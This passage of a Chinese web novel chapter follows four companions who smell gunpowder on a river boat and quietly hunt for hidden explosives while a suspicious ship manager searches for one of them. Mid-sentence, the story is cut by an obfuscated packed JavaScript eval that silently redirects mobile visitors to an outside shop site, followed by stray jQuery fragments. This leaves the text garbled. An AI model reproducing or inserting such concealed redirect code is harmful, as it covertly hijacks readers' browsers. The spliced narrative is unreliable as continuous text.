四人混在稀疏的乘客中，正欲踏上连接客船的跳板。江风忽地转了个方向，将一股更加浓重的、来自船舱深处或底舱的、混杂着货物、油脂、潮湿木材的气味送了过来。
就在踏上甲板前的一瞬，走在许慕言身侧的陆瑾年脚步猛地一顿，下意识地伸手攥住了许慕言的袖口，力道很紧。
她压低的声音带着一丝不易察觉的紧绷，几乎是贴着许慕言耳边，用只有两人能听清的气声道：“等……等一下……你有没有闻到……一股奇怪的味道？”
许慕言被她拉得停下，鼻翼微动，迅速过滤着空气中繁杂的气息。江水腥味、人体汗味、陈旧木料味……随即，她的眉头蹙了起来。
在那一片混沌里，确实夹杂着一缕极其细微、却又无法忽视的、带着硝石硫磺特有的、略显刺鼻的火药味。
这味道太淡了，若非陆瑾年嗅觉异常敏锐，或许与她常年处理户部文书、对某些特殊物料气味熟悉有关，又恰好站在下风处，几乎要被忽略。
贺清持几乎在同时侧身，将声音压得极低：“是火药。很淡，但……不止一处。”
他对这种危险气息的辨别已成本能。他的目光迅速而隐蔽地扫过船舷、货舱入口以及人群密集处，心沉了下去。
许慕言脑中已将所有线索串联起来陆瑾年落水，码头遇袭未果，对方显然知道陆瑾年未死，并且可能预判到他们会选择最快、最不引人注目的水路前往安城。
若是在江心，尤其是这片水流湍急、江面开阔的航段引爆炸药……毁船灭迹，尸骨无存，简直是最“干净”的处理方式。
而此刻船舱上，并没有看到任何可供紧急逃生的小船悬挂在船舷外，这是极不寻常的。
临蛰虽年轻，却也意识到了什么，身体微微绷紧，手已悄然按在了腰间暗藏的短刃上。
陆瑾年脸色更白了，不是怕死，而是想到若真如此，不仅自己性命难保，更要连累陛下和两位葬身鱼腹，甚至查案线索彻底断绝。她指尖冰凉，攥着许慕言袖口的手微微发抖。
就在这紧张到几乎凝固的瞬间，许慕言却忽然反手握住了陆瑾年冰凉的手指。
她的手心温热而干燥，带着一种稳定力量。她没有去看贺清持和临蛰，目光落在陆瑾年被厚重刘海遮掩、却依然能看出惊惶的眼眸上，声音压得极低，却异常清晰平静，甚至带着一丝几乎听不出的安抚：
“别慌。有我。”
她顿了顿，语速加快，却仍保持着冷静的条理：“现在下船，动静太大，必打草惊蛇。他们既选了炸药，必是算准了距离和时机，不会在码头近岸处动手。我们找到它，解决它。”
贺清持立即领会，点了点头。
临蛰也低声道：“属下明白。”
陆瑾年看着许慕言近在咫尺的、镇定无波的眼眸，那里面没有丝毫虚伪的安慰或强撑的勇气，只有一种近乎冷酷的理智和成竹在胸的笃定。
奇异地，她狂跳的心渐渐平复下来，指尖的寒意似乎也被对方掌心的温度驱散了些许。
她松开了攥着袖口的手，深吸一口气，重新低下头，将眼中的波澜彻底掩入刘海的阴影之下，恢复了那个沉默木讷的“丫鬟”模样，只是袖中的手，悄然握紧。
“从码头到前方最险的江心开阔处，”贺清持接话，他凭借经验判断着水势与天色，“顺流而下，约莫还有一个时辰的航程。那是他们最理想的动手地点。”
“一个时辰……”许慕言低声重复，眼神锐利起来，“时间不多，但够我们动作。不能盲目乱找，得有条理。”
四人交换了一个眼神，无需多言，便默契地分散开来，融入客船的不同区域，试图在不引起怀疑的前提下，搜寻那股淡淡火药味的源头。
许慕言状似随意地走向船舱尾部，目光扫过堆放的麻袋和木箱。贺清持则沿着船舷缓步而行，指尖似不经意地拂过木板缝隙。临蛰压低斗篷帽檐，向通往底舱的昏暗楼梯口靠近。
而陆瑾年虽被嘱咐尽量不动，却也借着“透气”的名义，在甲板人少处驻足，用眼角余光观察着四周动静。
然而，他们看似自然的举动，落在某些有心或好奇的乘客眼里，却显出了几分不寻常。
这艘船上多是商贩、探亲者或寻常旅人，大多登船后便安顿下来，少有这般看似漫无目的却目光锐利地四处走动的人。
在船舱中段，几个挤坐在一起的脚夫模样的汉子注意到了他们。其中一个瘦削的、眼神活络的汉子用胳膊肘碰了碰身旁同伴，朝贺清持的背影努了努嘴，低声道：“瞧见没？那几个人，上船后就东张西望，像是在寻摸啥。”
另一个满脸胡茬的汉子顺着望去，正好看见临蛰在楼梯口徘徊，又瞥见远处许慕言审视货堆的身影，嘀咕道：“是有点怪。那侍卫，老往黑黢黢的底下瞅啥？还有那位小姐（指许慕言），也不像寻常小姐。”
最先开口的瘦削汉子摸着下巴，压低了声音猜测：“看他们的穿着气度，虽不算顶富贵，也不像咱这号做苦力的人。那个一直低着头的年轻女子（指陆瑾年），倒像个丫鬟，但另外几个……啧，别是哪家公子小姐偷偷跑出来，结果把要紧东西丢了吧？这是在急着找呢！”
旁边一个年纪稍长、显得老成些的汉子听了，却摇了摇头，语气带着几分事不关己的漠然：“管他们作甚。丢金丢银，也是他们自己的事。这江上船一开，东西落了水，哪还寻得回来？咱们呀，安安生生待着，少惹麻烦，早点到地头才是正经。跟着他们瞎看，万一惹上是非，哭都来不及。”
几个汉子听了，觉得有理，纷纷收回了目光，不再刻意关注许慕言等人的举动，重新缩回自己的位置，或闭目养神，或低声闲聊起别的来。
这番小小的议论并未传到许慕言四人耳中，但他们都能隐约感觉到一些来自乘客的、带着好奇或审视的目光。
这让他们更加谨慎，将搜寻的动作放得更缓、更自然，同时心中警铃更甚，必须
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17747465|207778||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
在引起更大怀疑或惊动真正的敌人之前，找到那些火药。
江风穿过船舱，带着潮湿的寒意。船，正朝着贺清持预判的那个“最理想的动手地点”，坚定不移地驶去。时间，在无声的搜寻与潜伏的危险中，一分一秒地流逝。
那些脚夫模样的汉子的低声议论与窥探目光，虽未直接传入耳中，但许慕言已敏锐地察觉到了这几道带着揣测的视线。
她脚步未停，神色如常地走近贺清持与临蛰所在的船舷一侧，借着江风呼啸的遮掩，用极低的声音快速说道：“舱中段那几个一直打量我们的汉子，注意到了吗？”
贺清持颔首，目光依旧望着江面，低语：“嗯，从我们上船后就时不时瞟来，言语间似在猜测我们的身份目的。”
许慕言轻声分析：“看他们的举止打扮，不过是常在这条水路上跑活的脚夫或寻常旅人，眼神里好奇多于凶戾。我猜，他们或许以为我们是丢了贵重物品的富家子弟，或是……”
她顿了顿，声音更轻，“或是官府派出来捉拿盗贼的差人。不必理会，免得横生枝节，反而暴露。”
她目光转向临蛰：“当务之急是找到火药。盲目搜寻效率太低，这船上的船老大或管事，常年行船，对船上各处、各色人等的动静应最清楚。即便他未必参与阴谋，但若船底或货舱被人动了手脚，藏了不该藏的东西，他或许会有所察觉，或至少知道哪些区域近日有异常。”
临蛰闻言，不动声色地用眼神示意船头方向。只见一个身形微胖、穿着深色长袍，腰间挂着短刀，正背着手在甲板上来回踱步，目光不时扫过乘客，俨然一副例行巡视、维持船上秩序的模样。
临蛰压低嗓音，语气带着一丝冰冷的讥诮：“小姐说的是那个人吧？他便是这船的管事，姓江，刚才上船时我听其他水手唤过他。不过……”
少年暗卫的眼中掠过一丝寒光，“看他那样子，恐怕还不知道自己快死了。”
许慕言与贺清持目光一凝。
临蛰继续低声道：“属下刚才借口寻茅厕，靠近船头舱室。撬开门后，在里面发现了一张画像。”
他停顿了一下，声音压得几乎只剩气音：“画的是陆大人。虽然发型衣着是旧时官服模样，但面容……画得实在不像，只有三四分相似，若非特别熟悉之人，恐怕难以辨认。但那画像在那里，意思再明显不过，这江管事，也是在找陆大人。他此刻在甲板上“闲逛巡逻”，只怕就是在用那张拙劣的画像比对乘客呢。”
贺清持眼神骤然锋利：“画像在管事房中，他却装作无事发生般巡查……要么他是主谋之一，要么也是被人利用而不自知。但无论如何，他已是局中之人。”
许慕言嘴角勾起一抹冷冽的弧度：“原来如此。看来对方不仅安排了炸药，还在这船上布了眼线，双管齐下，既要炸船灭迹，也要确认目标是否在船上。一副不像的画像……倒是省了我们不少麻烦。至少说明，他们并未掌握陆大人此刻的真实形貌。”